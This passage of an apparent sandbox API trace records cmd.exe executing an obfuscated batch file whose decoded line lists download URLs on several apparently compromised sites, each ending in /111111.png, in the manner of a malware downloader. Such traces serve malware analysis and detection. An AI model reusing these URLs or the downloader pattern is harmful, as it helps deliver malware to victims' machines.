fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.430] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.431] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.431] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.431] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.431] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.431] GetLastError () returned 0x2 [0233.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.432] GetLastError () returned 0x2 [0233.432] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.432] GetLastError () returned 0x2 [0233.432] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.432] GetLastError () returned 0x2 [0233.432] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.432] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.432] GetLastError () returned 0x2 [0233.432] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.432] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cf10 [0233.432] FindClose (in: hFindFile=0x20b0f92cf10 | out: hFindFile=0x20b0f92cf10) returned 1 [0233.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.433] GetLastError () returned 0x2 [0233.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.433] GetLastError () returned 0x2 [0233.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.433] GetLastError () returned 0x2 [0233.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.433] GetLastError () returned 0x2 [0233.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.433] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.434] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.434] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.434] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.434] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.434] GetLastError () returned 0x2 [0233.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.435] GetLastError () returned 0x2 [0233.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.435] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.435] GetLastError () returned 0x2 [0233.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.435] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.435] GetLastError () returned 0x2 [0233.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.435] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.435] GetLastError () returned 0x2 [0233.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.436] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.436] GetLastError () returned 0x2 [0233.436] ??_V@YAXPEAX@Z () returned 0x1 [0233.436] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.436] GetFileType (hFile=0x54) returned 0x2 [0233.436] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.436] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.437] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.437] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.437] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.437] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.437] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.444] ??_V@YAXPEAX@Z () returned 0x1 [0233.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.444] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.445] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.445] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.445] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.445] SetConsoleInputExeNameW () returned 0x1 [0233.445] GetConsoleOutputCP () returned 0x1b5 [0233.445] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.446] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.446] ??_V@YAXPEAX@Z () returned 0x1 [0233.447] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.447] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.447] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.447] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5652, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1614 [0233.447] GetProcessHeap () returned 0x20b0f920000 [0233.447] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d00) returned 1 [0233.447] GetProcessHeap () returned 0x20b0f920000 [0233.447] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.447] GetProcessHeap () returned 0x20b0f920000 [0233.447] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0233.447] GetProcessHeap () returned 0x20b0f920000 [0233.447] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.448] GetProcessHeap () returned 0x20b0f920000 [0233.448] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9578c0) returned 1 [0233.448] GetProcessHeap () returned 0x20b0f920000 [0233.448] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.449] GetProcessHeap () returned 0x20b0f920000 [0233.449] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0233.449] GetProcessHeap () returned 0x20b0f920000 [0233.449] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.449] GetProcessHeap () returned 0x20b0f920000 [0233.449] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0233.449] GetProcessHeap () returned 0x20b0f920000 [0233.449] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.450] GetProcessHeap () returned 0x20b0f920000 [0233.450] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.450] GetProcessHeap () returned 0x20b0f920000 [0233.450] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.450] GetProcessHeap () returned 0x20b0f920000 [0233.450] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.450] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1614 [0233.450] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1a1, lpOverlapped=0x0) returned 1 [0233.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x166f [0233.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0233.450] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.450] GetFileType (hFile=0x9c) returned 0x1 [0233.450] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x166f [0233.451] GetProcessHeap () returned 0x20b0f920000 [0233.451] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.451] GetProcessHeap () returned 0x20b0f920000 [0233.451] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.451] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0233.451] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0233.451] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0233.451] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0233.451] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0233.451] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0233.451] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0233.451] GetProcessHeap () returned 0x20b0f920000 [0233.451] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.451] GetProcessHeap () returned 0x20b0f920000 [0233.451] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.451] GetProcessHeap () returned 0x20b0f920000 [0233.451] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f9259d0 [0233.451] _tell (_FileHandle=3) returned 5743 [0233.451] _close (_FileHandle=3) returned 0 [0233.452] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.452] GetFileType (hFile=0x50) returned 0x2 [0233.452] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.452] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.452] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.458] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.458] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.458] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.458] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.458] GetFileType (hFile=0x50) returned 0x2 [0233.458] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.458] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.459] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.459] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.459] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.459] GetFileType (hFile=0x50) returned 0x2 [0233.459] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.459] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.460] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.460] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0233.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.460] GetFileType (hFile=0x50) returned 0x2 [0233.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.460] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.460] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0233.461] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.461] GetFileType (hFile=0x50) returned 0x2 [0233.461] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.461] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.461] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.466] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.467] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.468] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.468] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.468] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.468] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.468] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.468] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.468] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.468] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.468] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.468] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.468] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.468] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.468] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.468] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.468] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.468] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.468] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.468] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.468] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.468] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.468] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.468] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.468] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.468] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.468] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.469] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.469] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.469] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.469] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.469] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.469] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.469] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.469] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.469] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.469] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.469] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.469] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.469] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.469] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.469] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.469] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.469] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.469] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.469] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.469] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.470] GetProcessHeap () returned 0x20b0f920000 [0233.470] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.474] SetErrorMode (uMode=0x0) returned 0x0 [0233.474] SetErrorMode (uMode=0x1) returned 0x0 [0233.474] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.474] SetErrorMode (uMode=0x0) returned 0x1 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.474] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.474] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.474] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.474] GetProcessHeap () returned 0x20b0f920000 [0233.474] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9470a0 [0233.475] GetProcessHeap () returned 0x20b0f920000 [0233.475] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9470a0, Size=0x7e) returned 0x20b0f956910 [0233.475] GetProcessHeap () returned 0x20b0f920000 [0233.475] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0233.475] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.475] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d270 [0233.475] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0233.475] FindFirstFileExW (in: 